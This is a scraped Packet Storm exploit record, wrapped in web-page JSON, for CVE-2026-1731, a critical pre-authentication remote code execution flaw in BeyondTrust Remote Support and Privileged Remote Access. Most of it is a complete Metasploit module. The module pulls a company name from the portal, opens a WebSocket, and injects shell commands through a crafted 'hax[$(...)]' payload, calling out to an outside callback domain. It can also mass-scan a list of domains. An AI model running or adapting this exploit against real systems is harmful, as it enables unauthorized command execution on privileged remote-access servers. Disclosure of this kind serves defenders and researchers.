{“lastseen”:”2026-02-17T18:18:19″,”description”:”A critical pre\u2011authentication remote code execution vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access. The vulnerability allows an unauthenticated attacker to execute…”,”published”:”2026-02-17T00:00:00″,”modified”:”2026-02-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 BeyondTrust Remote Support \/ Privileged Remote Access Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215712″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-1731″],”sourceData”:”=============================================================================================================================================\\n | # Title : BeyondTrust Remote Support \/ Privileged Remote Access \u2013 Pre\u2011Authentication Remote Code Execution |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits) |\\n | # Vendor : https:\/\/www.beyondtrust.com\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : A critical pre\u2011authentication Remote Code Execution (RCE) vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access.\\n The vulnerability allows an unauthenticated attacker to execute arbitrary commands on a vulnerable system by abusing a specially \\n \\t\\t\\t\\t crafted WebSocket connection. The issue stems from improper input validation and unsafe handling of user-controlled data during the WebSocket communication process.\\n \\n [+] Affected Versions :\\n \\n The vulnerability affects the following versions of BeyondTrust products: Remote Support (RS)\\n \\n Affected versions: 25.3.1 and earlier This means any device running these versions prior to 25.3.2 is vulnerable. Privileged Remote Access (PRA)\\n \\n Affected versions: 24.3.4 and earlier Any PRA plan running version 24.3.4 or earlier is vulnerable to this vulnerability.\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Scanner\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘BeyondTrust Remote Support\/Privileged Remote Access Pre-auth RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits CVE-2026-1731, a pre-authentication remote code execution\\n vulnerability in BeyondTrust Remote Support and Privileged Remote Access.\\n The vulnerability allows unauthenticated attackers to execute arbitrary commands\\n on the target system through a specially crafted WebSocket connection.\\n },\\n ‘Author’ =\\u003e [\\n ‘Bipin Jitiya (@win3zz)’, # Original Python script\\n ‘indoushka’ # Metasploit module author\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-1731’],\\n [‘URL’, ‘https:\/\/attackerkb.com\/topics\/jNMBccstay\/cve-2026-1731\/rapid7-analysis’],\\n [‘URL’, ‘https:\/\/github.com\/win3zz\/CVE-2026-1731’] # Assuming GitHub repo exists\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n Opt::RPORT(443),\\n OptBool.new(‘SSL’, [true, ‘Use SSL’, true]),\\n OptString.new(‘TARGETURI’, [true, ‘The base path to the BeyondTrust application’, ‘\/’]),\\n OptString.new(‘CMD’, [true, ‘The command to execute’, ‘nslookup {{callback}}’]),\\n OptString.new(‘CALLBACK_DOMAIN’, [false, ‘Callback domain for nslookup (replaces {{callback}} in CMD)’, ”]),\\n OptPath.new(‘DOMAINS_FILE’, [false, ‘File containing list of domains to scan’]),\\n OptBool.new(‘VERBOSE_OUTPUT’, [false, ‘Enable verbose output’, false])\\n ]\\n )\\n \\n register_advanced_options(\\n [\\n OptInt.new(‘WEBSOCKET_TIMEOUT’, [true, ‘WebSocket connection timeout in milliseconds’, 5000])\\n ]\\n )\\n end\\n \\n def verbose_print(msg)\\n print_status(msg) if datastore[‘VERBOSE_OUTPUT’]\\n end\\n \\n def run_host(_ip)\\n \\n if datastore[‘DOMAINS_FILE’] \\u0026\\u0026 File.exist?(datastore[‘DOMAINS_FILE’])\\n File.readlines(datastore[‘DOMAINS_FILE’]).each do |domain|\\n domain = domain.strip\\n next if domain.empty?\\n \\n check_and_exploit_domain(domain)\\n end\\n else\\n \\n check_and_exploit_domain(rhost)\\n end\\n end\\n \\n def check_and_exploit_domain(domain)\\n print_status(\\”Checking #{domain}\\”)\\n \\n company = fetch_company_info(domain)\\n return unless company\\n \\n print_good(\\”Found company: #{company}\\”)\\n \\n execute_websocket_attack(domain, company)\\n end\\n \\n def fetch_company_info(domain)\\n \\n [‘http’, ‘https’].each do |proto|\\n uri = \\”#{proto}:\/\/#{domain}\/get_portal_info\\”\\n verbose_print(\\”Checking: #{uri}\\”)\\n \\n begin\\n res = send_request_cgi(\\n ‘uri’ =\\u003e ‘\/get_portal_info’,\\n ‘method’ =\\u003e ‘GET’,\\n ‘rhost’ =\\u003e domain,\\n ‘rport’ =\\u003e datastore[‘RPORT’],\\n ‘ssl’ =\\u003e (proto == ‘https’)\\n )\\n \\n if res \\u0026\\u0026 res.code == 200\\n verbose_print(\\”Raw response: #{res.body}\\”)\\n \\n if res.body =~ \/company=([^;]+)\/\\n company = Regexp.last_match(1).strip\\n return company\\n end\\n end\\n rescue Rex::ConnectionError, Rex::TimeoutError =\\u003e e\\n verbose_print(\\”Error connecting to #{domain}: #{e.message}\\”)\\n end\\n end\\n \\n print_status(\\”No portal info or company found for #{domain}\\”)\\n nil\\n end\\n \\n def prepare_command\\n cmd = datastore[‘CMD’]\\n \\n if datastore[‘CALLBACK_DOMAIN’] \\u0026\\u0026 !datastore[‘CALLBACK_DOMAIN’].empty?\\n cmd.gsub!(‘{{callback}}’, datastore[‘CALLBACK_DOMAIN’])\\n end\\n \\n if cmd.include?(‘{{callback}}’)\\n random_callback = \\”#{Rex::Text.rand_text_alphanumeric(8)}.oast.fun\\”\\n cmd.gsub!(‘{{callback}}’, random_callback)\\n print_warning(\\”Using random callback domain: #{random_callback}\\”)\\n end\\n \\n cmd\\n end\\n \\n def execute_websocket_attack(domain, company)\\n print_status(\\”Running WebSocket action for #{domain}\\”)\\n \\n cmd = prepare_command\\n verbose_print(\\”Using command: #{cmd}\\”)\\n \\n uuid = ‘aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa’\\n random_id = Rex::Text.rand_text_alphanumeric(4)\\n payload = \\”hax[$(#{cmd})]\\\\n#{uuid}\\\\n0\\\\n#{random_id}\\\\n\\”\\n \\n verbose_print(\\”WebSocket payload: #{payload.inspect}\\”)\\n \\n ws_uri = \\”wss:\/\/#{domain}:#{datastore[‘RPORT’]}\/nw\\”\\n \\n begin\\n \\n ws = connect_ws(\\n ws_uri,\\n ‘protocol’ =\\u003e ‘ingredi support desk customer thin’,\\n ‘headers’ =\\u003e {\\n ‘X-Ns-Company’ =\\u003e company\\n }\\n )\\n \\n if ws.nil?\\n print_error(\\”Failed to establish WebSocket connection to #{domain}\\”)\\n return\\n end\\n \\n print_status(\\”WebSocket connection established to #{domain}\\”)\\n \\n ws.put(payload)\\n \\n timeout = datastore[‘WEBSOCKET_TIMEOUT’] \/ 1000.0\\n begin\\n Timeout.timeout(timeout) do\\n while (response = ws.get)\\n print_line(response.to_s) unless response.to_s.empty?\\n end\\n end\\n rescue Timeout::Error\\n verbose_print(\\”WebSocket read timeout\\”)\\n end\\n \\n rescue Rex::ConnectionError =\\u003e e\\n print_error(\\”WebSocket connection error: #{e.message}\\”)\\n rescue StandardError =\\u003e e\\n print_error(\\”Error during WebSocket attack: #{e.message}\\”)\\n verbose_print(\\”Error details: #{e.backtrace.join(\\”\\\\n\\”)}\\”)\\n ensure\\n ws.close if ws\\n end\\n end\\n \\n def connect_ws(uri, opts = {})\\n require ‘rex\/proto\/http\/web_socket’\\n \\n begin\\n \\n u = URI.parse(uri)\\n \\n host = u.host\\n port = u.port\\n \\n http_client = Rex::Proto::Http::Client.new(\\n host,\\n port,\\n {},\\n u.scheme == ‘wss’\\n )\\n \\n request = http_client.request_websocket_upgrade(\\n u.path,\\n opts[:protocol]\\n )\\n \\n opts[:headers]\\u0026.each do |key, value|\\n request[key] = value\\n end\\n response = http_client.send_recv(request)\\n \\n if response \\u0026\\u0026 response.code == 101 # Switching Protocols\\n return Rex::Proto::Http::WebSocket.new(http_client, response)\\n else\\n vprint_error(\\”WebSocket upgrade failed: #{response.code}\\”) if response\\n return nil\\n end\\n \\n rescue StandardError =\\u003e e\\n vprint_error(\\”WebSocket connection error: #{e.message}\\”)\\n nil\\n end\\n end\\n end\\n \\t\\n Greetings to :======================================================================\\n jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n ====================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215712″,”cvss”:{“score”:9.9,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:L\/VI:H\/SI:H\/VA:H\/SA:L”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215712\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-17T18:18:19″,”description”:”A critical pre\u2011authentication remote code execution vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access. The vulnerability allows an…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,13,53,7,11,5],"class_list":["post-41163","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n